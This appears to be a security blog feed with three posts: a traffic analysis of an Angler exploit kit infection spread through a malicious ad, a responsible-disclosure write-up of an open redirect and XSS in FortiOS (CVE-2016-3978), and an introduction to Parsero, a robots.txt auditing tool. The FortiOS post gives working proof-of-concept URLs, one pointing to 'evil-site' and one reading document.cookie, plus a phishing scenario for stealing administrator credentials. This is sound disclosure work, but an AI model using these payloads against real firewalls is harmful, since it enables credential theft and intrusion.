neuhaus-hourakus.avelinoortiz[.]com/yes.wbxml?unite=tXu9a5tJI&writer=J7y8dCR8F&describe=LzQOS9&for=&note=C26Z8129ea&number=gcsXv8v&next=2unI-c8

We can see that this domain has been rated as malicious by some webfiltering vendors.

I´ve also uploaded the PCAP to Virustotal (look at Details section). Virustotal is awesome because the traffic is inspected by Snort-VTR and Suricata-ETPRO ruleset. Also Virustotal analizes all the requests and if something is detected by some Antivirus, Virustotal will warn us... We can see from the Virustotal report, that one of the first Suricata alerts related to the EK corresponds to a flash file which is related to an Exploit.

It seems we´ve found where the user could have been infected, but... Why did the user end up at that website? If we look at the first Suricata event and we look closely at the Referer field, we can see that the web page that was visited before the landing page, had a Javascript.

Digging into that Javascript, we can find an iframe which loads the EK landing page (1) and the website which loaded the Javascript (2).

If we keep analyzing back with Wireshark, we can locate the URI which called the Javascript. It seems that it could be an advertisement (1) which loaded the Javascript (2).

And... Why did this user visit www.shotgunworld[.]com? If we look at the Referer field in the follow TCP Stream, we can see that the user was redirected to that website by Google. The user could have been doing Google searches...

If we dig a little bit deeper into the connections which were made before the Google redirection, we can see that the user was interested in guns. He did two searches in Google:

1. http://www.google[.]com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&sqi=2&ved=0ahUKEwimz-OWuqnJAhWJrD4KHZcYBLsQFggcMAA&url=http%3A%2F%2Fwww.cabelas.com%2Fcategory%2FShotguns%2F105537780.uts&usg=AFQjCNHKLe8zX3xPg6B1t17pycMEn7CRFw&bvm=bv.108194040,d.dmo

which redirects to http://www.cabelas.com/category/Shotguns/105537780.uts which seems not to be infected.

2. http://www.google[.]com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&sqi=2&ved=0ahUKEwiKnu-0uqnJAhUIWD4KHal9DUcQFggcMAA&url=http%3A%2F%2Fwww.shotgunworld.com%2F&usg=AFQjCNEURWbI-lwIgSRkGqiR9ALrodRMUw&bvm=bv.108194040,d.dmo

which loads the EK landing page: neuhaus-hourakus.avelinoortiz[.]com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29

And... What about the landing page? I´ve followed with the analysis and I´ve found that it had code heavily obfuscated inside the HTML code.

I´ve extracted it from the PCAP by using Wireshark and we can see the results at Virustotal. I´ve also uploaded it to Pastebin. As it was said, this Javascript has been heavily obfuscated and trying to deobfuscate it would be time comsuming, but if you want to try yourself, you are really welcome. I would like to share some good blog posts where you can find more info about the Angler Exploit obfuscation: Websense, Fuzzysecurity.

Since we´ve not deobfuscated the Angler landing page code, we can not be 100% sure that it is related to the malware found in the computer, but I think we could assume that... After the host visited such URL, the computer started requesting suspicious URL related to botnet

Even the computer started requesting domain names that didn't get resolved...

Those domains could have been tried to be created by some domain generation algorithm (DGA). This could be a indicator that this computer had started to belong to a Botnet.

Conclusion

After being notified that a piece of malware has been detected on a corporate computer, we´ve analyzed the traffic capture provided and we´ve detected the following:

The user was doing Google searches related to guns.
After visiting some guns shops, he ended up in that web site: www.shotgunworld[.]com
This one had an advertisment which loaded a Javascript.
That Javascript had a iframe which loaded the Angler EK landing page.
It seems the EK was successfull and the computer began to be part of a botnet.

↧

CVE-2016-3978 Open Redirect & XSS in FortiOS (Fortinet)

May 2, 2016, 3:27 am

≫ Next: Parsero: The tool to audit the Robots.txt automatically

≪ Previous: A Network Traffic Analysis Exercise

Introduction

Some months ago, I reported to the Fortinet PSIRT team two vulnerabilities which affect different Fortigate firmware versions.

You probably know that "Fortinet is a leading provider of fast and secure cyber security solutions offers enterprise-level next generation firewalls and vast array of network security products."

As usual, I'm disclosing these vulnerabilities under responsible disclosure format which is (in my opinion) one of the best ways (in most cases) to publish technical details about a vulnerability.

You can find the Fortinet public advisory here.

I´d like to thank the spanish Fortinet team for helping me with the case by speeding it up.

Vulnerability Details

Affected version

5.0 branch: 5.0.12 or below
5.2 branch: 5.2.2 or below

*** 4.3 and lower branches are not affected

Open Redirect

The Open Redirect is located in the Fortinet Fortigate web administration console.

Proof of concept:

https://fortigate-management-ip-address/login?redir=http://evil-site

The parameter "redir" doesn't have implemented any kind of validation so I´m able to redirect the browser to any malicious web site from the Fortigate web login portal.

Case study example:

An attacker sends a phishing email to the firewall administrator with the link bellow https://fortigate-management-ip-address/login?redir=http://evil-site (Previously the attacker should figure out the firewall management IP address).
If the administrator clicks on the link, the real portal login will appear. The administrator is supposed to type the admin credentials.
When the user/pwd are typed, the browser is redirected to the attacker evil-site where there is a fake Fortigate login portal. Credentials are asked for again due to an alleged erroneous user/password.
The administrator retype the credencials, the evil-site receives the user/pwd and redirects the browser to the real firewall login portal.
The administrator would type the credentials again and would get access to the real firewall. Meanwhile, the attacker has stolen the user/password.

Cross Site Scripting

The Cross Site Scripting vulnerability is located in the Fortinet Fortigate web administration console.

Proof of concept:

https://fortigate-management-ip-address/login?redir=javascript:alert(document.cookie)

The parameter "redir" doesn't have implemented any kind of validation so we are able to execute javascript code in the victim browser.

Solutions

Upgrade to one of the following FortiOS versions:

5.0 branch: 5.0.13 or above
5.2 branch: 5.2.3 or above
5.4 branch: 5.4.0 or above

More details: http://www.fortiguard.com/advisory/fortios-open-redirect-vulnerability

Conclusion

Every single device or appliance placed in your network, even the ones that are part of the security of your infrastructure, would be affected by some vulnerability. We have seen how other well known vendors like Juniper, FireEye, Cisco, etc... were affected by similar vulnerabilities as well. This should be always kept in mind.

The vulnerabilities mentioned above are hard to exploit because the firewall administrator is supposed not to click on a link that forwards to their own firewall... But who knows... ;)

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3978

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3978

http://www.securitytracker.com/id/1035332

http://www.fortiguard.com/advisory/fortios-open-redirect-vulnerability

http://seclists.org/fulldisclosure/2016/Mar/68

↧

Parsero: The tool to audit the Robots.txt automatically

December 8, 2013, 1:56 am

≪ Previous: CVE-2016-3978 Open Redirect & XSS in FortiOS (Fortinet)

When I was writing Using robots.txt to locate your targets, I felt the necessity of developing a tool to make automatic the task of auditing the Robots.txt file of the web servers.

Now, I am really proud of introducing you my first tool called Parsero. I hope you enjoy it...

Introductions

One of the things you need to do when you are auditing a website is to look at the Robots.txt file, for example: http://www.behindthefirewalls.com/robots.txt. The web administrators write this file to tell the crawlers like Google, Bing, Yahoo... what content they are allowed to index or what directories mustn't be indexed.

But... Why the administrators want to hide some web directories to the crawlers?

Sometimes they want to hide the web portal login, management directories, private info, sensitive data, page with vulnerabilities, documents, etc... If they hide these directories from the crawlers, then they can't be found making Google Hacking or just searching in the search engines...

Why do you need Parsero?

We've said that the administrators tell the crawlers what directories or files hosted on the web server are not allowed to be indexed. They achieve this purpose by writing so much "Disallow: /URL_Path" as they want in the Robots.txt file pointing to these directories. Sometimes these paths typed in the Disallows entries are directly accessible by the users (without using a search engine) just visiting the URL and the Path even sometimes they are not available to be visited by anybody... Because it is really common that the administrators write a lot of Disallows and some of them are available and some of them are not, you can use Parsero in order to check the HTTP status code of each Disallow entry in order to check automatically if these directories are available or not.

When we execute Parsero, we can see the HTTP status codes. For example, the codes bellow:

200 OK The request has succeeded.
403 Forbidden The server understood the request, but is refusing to fulfill it.
404 Not Found The server hasn't found anything matching the Request-URI.
302 Found The requested resource resides temporarily under a different URI
...

Installation

Parsero needs at least Python3 and can be executed in all Operating Systems which support this language development. Also it needs Urllib3.

sudo apt-get install python3
sudo apt-get install python3-pip
sudo pip-3.3 install urllib3

When you have installed these software, just download the project from:

https://github.com/behindthefirewalls/Parsero

https://github.com/behindthefirewalls/Parsero/archive/master.zip

In Linux you can use the command bellow.

git clone https://github.com/behindthefirewalls/Parsero.git

When you download Parsero, you will see a folder with three files.

Before start, you need to check that your default Python version is 3 or later. If you have already installed Python3 but is not your default version, you can run the script using the command "python3 parsero.py" instead of "python parsero.py".

If you don't type any argument, you will see the help bellow.

Example 1

In the picture below you can see the Robots.txt file of a web server in one of my environments. If you are a web security auditor, you should check all the Disallows in order to try to get some valuable information. The security auditor should want to know what directories or files are hosted in the web servers which the administrators don't want to be published on the search engines.

You can do this task automatically using Parsero with the command:

python parsero.py -u www.example.com

Notice in the picture below that the green links are the links which are available in the web server. You don't need to waste your time checking the other links, just clicking on the green links.

If we visit the www.example.com/server-status/ we can see the Apache logs which are public but hidden for the crawlers...

Example 2

In the picture below you can see another robots.txt. The picture has been cut because this server has a lot of Disallow. Can you imagine checking all of them manually?

If you use Parsero, you will audit all the Robots.txt file in just a seconds...

... and discover for example, the portal login for this site.

The future of Parsero

I am working on developing new features of this tool which will be delivered in the next months... I would be really grateful if you decide to give me your feedback about this tool.

I want to give the thanks to cor3dump3d for his support and help!!! He has saved me a lot of time thanks to sharing his knwoledge of Python with me!!

↧